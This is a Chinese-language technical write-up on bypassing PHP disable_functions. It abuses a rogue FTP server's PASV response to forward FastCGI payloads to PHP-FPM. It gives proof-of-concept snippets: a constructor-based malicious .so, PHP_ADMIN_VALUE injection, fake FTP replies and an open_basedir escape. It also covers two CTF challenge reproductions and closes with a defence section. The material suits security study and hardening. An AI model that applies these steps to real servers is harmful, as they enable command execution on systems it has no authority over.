深入 FTP 攻击 php-fpm 绕过 disable_functions
字数 1956 2025-08-04 00:38:01
深入FTP攻击php-fpm绕过disable_functions技术分析
前言
本文详细分析如何利用FTP协议特性结合php-fpm实现绕过PHP的disable_functions限制,包含多个POC验证和实战案例复现。
技术原理
PHP-FPM攻击基础
PHP-FPM(FastCGI Process Manager)是PHP的FastCGI实现,通过直接与PHP-FPM通信可以绕过Web服务器限制。
关键点:
- PHP-FPM默认监听9000端口(Unix socket或TCP)
- 通过修改PHP_VALUE和PHP_ADMIN_VALUE环境变量可改变PHP配置
- 可加载恶意.so扩展执行系统命令
FTP协议特性
FTP协议在传输文件时使用两种模式:
- 主动模式(PASV):服务器告知客户端数据连接端口(IP+PORT)
- 被动模式(EPSV):服务器仅告知端口,IP与控制连接相同
关键差异:
- PASV模式可指定任意IP和端口(227响应格式:
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2)) - EPSV模式只能指定端口(229响应格式:
229 Entering Extended Passive Mode (|||PORT|))
攻击步骤详解
POC1: 恶意.so作为PHP扩展
- 编写恶意C代码:
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void) {
system("touch /tmp/pwned");
}
- 编译为共享库:
gcc evil.c -o evil.so --shared -fPIC
- 修改php.ini加载扩展:
extension=/path/to/evil.so
- 触发执行:
php -a # 会执行恶意代码
POC2: 直接攻击PHP-FPM加载恶意.so
- 配置PHP-FPM使用TCP监听:
listen = 127.0.0.1:9000
- 构造FastCGI请求,修改PHP_ADMIN_VALUE:
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'PHP_ADMIN_VALUE': 'allow_url_include = On\nextension = /path/to/evil.so'
}
- 发送恶意请求触发.so加载
POC3: 利用FTP PASV模式转发数据
- 正常FTP PASV交互流程:
PASV
227 Entering Passive Mode (10,0,1,4,56,2) # 10.0.1.4:14338
STOR file
150 Ok to send data
[数据发送到指定IP:PORT]
- 恶意FTP服务器可返回任意IP和端口:
227 Entering Passive Mode (127,0,0,1,0,9000) # 转发到本地9000端口
POC4: 诱导PHP使用FTP PASV模式
PHP的FTP处理逻辑:
- 默认先尝试EPSV模式
- 如果EPSV失败(非229响应),回退到PASV模式
利用方法:
- 搭建恶意FTP服务器
- 对EPSV请求返回非229响应
- PHP会回退到PASV模式
- 在PASV响应中指定目标IP和端口
Python实现示例:
# 对EPSV返回错误
conn.send(b'000 use PASV then\r\n')
# 对PASV返回恶意地址
conn.send(b'227 Entering Passive Mode (127,0,0,1,0,9000).\r\n')
完整攻击链
- 上传恶意.so文件到可写目录
- 通过FTP协议将FastCGI攻击payload发送到PHP-FPM
- 修改PHP配置加载恶意扩展
- 恶意扩展执行系统命令
关键点:
- 需要
allow_url_fopen = On - 需要PHP-FPM监听TCP端口或知道Unix socket路径
- 需要Web目录有上传权限或已有可写文件
实战案例复现
[蓝帽杯2021]One Pointer PHP
- 环境分析:
- 存在特殊反序列化漏洞
- disable_functions限制但保留关键函数
- open_basedir限制
- 利用步骤:
- 通过反序列化漏洞写入Webshell
- 绕过open_basedir:
mkdir('test');
chdir("test");
ini_set("open_basedir","..");
chdir(".."); chdir(".."); chdir(".."); chdir("..");
ini_set("open_basedir","/");
- 上传恶意.so文件
- 构造FTP攻击请求到PHP-FPM
- 加载恶意.so执行命令
[WMCTF2021] Make PHP Great Again And Again
- 环境分析:
- PHP 8.0.9
- 严格disable_functions
- 但保留
file_put_contents和stream_socket_server
- 利用步骤:
- 使用
stream_socket_server扫描发现PHP-FPM端口(11451) - 编写恶意FTP服务器脚本
- 通过
file_put_contents触发FTP请求 - 利用PASV模式将攻击payload转发到PHP-FPM
- 修改配置加载恶意扩展
防御措施
- PHP-FPM安全配置:
- 使用Unix socket而非TCP监听
- 设置监听权限为仅Web服务器可访问
- 设置
listen.allowed_clients限制访问IP
- PHP配置加固:
- 禁用危险函数:
passthru, exec, system等 - 设置
open_basedir限制 - 关闭不必要的URL包装器:
allow_url_fopen = Off
- 系统层面:
- 定期更新PHP版本
- 使用SELinux/AppArmor限制PHP进程权限
- 监控异常进程和文件操作
总结
本技术利用FTP协议的PASV模式特性,结合PHP-FPM的配置修改能力,实现了在严格disable_functions限制下的命令执行。关键在于:
- 控制FTP服务器响应诱导PHP使用PASV模式
- 通过PASV响应将数据转发到PHP-FPM
- 修改PHP配置加载恶意扩展
这种攻击方式在特定环境下非常有效,防御需要多层面配合,特别是PHP-FPM的访问控制和PHP配置的严格限制。